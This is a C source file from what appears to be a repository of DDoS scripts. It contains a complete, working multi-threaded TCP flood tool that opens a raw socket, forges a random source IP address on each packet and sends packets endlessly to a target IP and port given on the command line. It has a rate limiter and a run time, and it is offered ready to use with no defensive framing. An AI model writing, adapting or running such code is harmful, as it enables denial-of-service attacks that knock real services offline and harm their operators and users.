Path: blob/master/DDOS Scripts/AMP Methods/NTP - SNMP - HAVEN - DNS -DRDOS - FRAG - SUDP - MEMCACHED/frag.c
4622 views
/*1* This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)2*/3#include <unistd.h>4#include <time.h>5#include <sys/types.h>6#include <sys/socket.h>7#include <sys/ioctl.h>8#include <string.h>9#include <stdlib.h>10#include <stdio.h>11#include <pthread.h>12#include <netinet/tcp.h>13#include <netinet/ip.h>14#include <netinet/in.h>15#include <netinet/if_ether.h>16#include <netdb.h>17#include <net/if.h>18#include <arpa/inet.h>1920#define MAX_PACKET_SIZE 409621#define PHI 0x9e3779b92223static unsigned long int Q[4096], c = 362436;24static unsigned int floodport;25volatile int limiter;26volatile unsigned int pps;27volatile unsigned int sleeptime = 100;2829void init_rand(unsigned long int x)30{31int i;32Q[0] = x;33Q[1] = x + PHI;34Q[2] = x + PHI + PHI;35for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }36}37unsigned long int rand_cmwc(void)38{39unsigned long long int t, a = 18782LL;40static unsigned long int i = 4095;41unsigned long int x, r = 0xfffffffe;42i = (i + 1) & 4095;43t = a * Q[i] + c;44c = (t >> 32);45x = t + c;46if (x < c) {47x++;48c++;49}50return (Q[i] = r - x);51}52unsigned short csum (unsigned short *buf, int count)53{54register unsigned long sum = 0;55while( count > 1 ) { sum += *buf++; count -= 2; }56if(count > 0) { sum += *(unsigned char *)buf; }57while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }58return (unsigned short)(~sum);59}6061unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {6263struct tcp_pseudo64{65unsigned long src_addr;66unsigned long dst_addr;67unsigned char zero;68unsigned char proto;69unsigned short length;70} pseudohead;71unsigned short total_len = iph->tot_len;72pseudohead.src_addr=iph->saddr;73pseudohead.dst_addr=iph->daddr;74pseudohead.zero=0;75pseudohead.proto=IPPROTO_TCP;76pseudohead.length=htons(sizeof(struct tcphdr));77int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);78unsigned short *tcp = malloc(totaltcp_len);79memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));80memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));81unsigned short output = csum(tcp,totaltcp_len);82free(tcp);83return output;84}8586void setup_ip_header(struct iphdr *iph)87{88iph->ihl = 5;89iph->version = 4;90iph->tos = 0;91iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);92iph->id = htonl(54321);93iph->frag_off = 0;94iph->ttl = MAXTTL;95iph->protocol = 6;96iph->check = 0;97iph->saddr = inet_addr("192.168.3.100");98}99100void setup_tcp_header(struct tcphdr *tcph)101{102tcph->source = rand();103tcph->seq = rand();104tcph->ack_seq = rand();105tcph->res2 = 0;106tcph->doff = 5;107tcph->psh = 1;108tcph->ack = 1;109tcph->window = htons(1500);110tcph->check = 0;111tcph->urg_ptr = 0;112}113114void *flood(void *par1)115{116char *td = (char *)par1;117char datagram[MAX_PACKET_SIZE];118struct iphdr *iph = (struct iphdr *)datagram;119struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);120121struct sockaddr_in sin;122sin.sin_family = AF_INET;123sin.sin_port = htons(floodport);124sin.sin_addr.s_addr = inet_addr(td);125126int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);127if(s < 0){128fprintf(stderr, "Could not open raw socket.\n");129exit(-1);130}131memset(datagram, 0, MAX_PACKET_SIZE);132setup_ip_header(iph);133setup_tcp_header(tcph);134135tcph->dest = htons(floodport);136137iph->daddr = sin.sin_addr.s_addr;138iph->check = csum ((unsigned short *) datagram, iph->tot_len);139140int tmp = 1;141const int *val = &tmp;142if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){143fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");144exit(-1);145}146147init_rand(time(NULL));148register unsigned int i;149i = 0;150while(1){151sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));152153iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);154iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);155iph->check = csum ((unsigned short *) datagram, iph->tot_len);156tcph->seq = rand_cmwc() & 0xFFFF;157tcph->source = htons(rand_cmwc() & 0xFFFF);158tcph->check = 0;159tcph->check = tcpcsum(iph, tcph);160161pps++;162if(i >= limiter)163{164i = 0;165usleep(sleeptime);166}167i++;168}169}170int main(int argc, char *argv[ ])171{172if(argc < 6){173fprintf(stderr, "Invalid parameters!\n");174fprintf(stdout, "Usage: %s <target IP> <port> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);175exit(-1);176}177178fprintf(stdout, "Setting up Sockets...\n");179180int num_threads = atoi(argv[3]);181floodport = atoi(argv[2]);182int maxpps = atoi(argv[4]);183limiter = 0;184pps = 0;185pthread_t thread[num_threads];186187int multiplier = 20;188189int i;190for(i = 0;i<num_threads;i++){191pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);192}193fprintf(stdout, "Starting Flood...\n");194for(i = 0;i<(atoi(argv[5])*multiplier);i++)195{196usleep((1000/multiplier)*1000);197if((pps*multiplier) > maxpps)198{199if(1 > limiter)200{201sleeptime+=100;202} else {203limiter--;204}205} else {206limiter++;207if(sleeptime > 25)208{209sleeptime-=25;210} else {211sleeptime = 0;212}213}214pps = 0;215}216217return 0;218}219220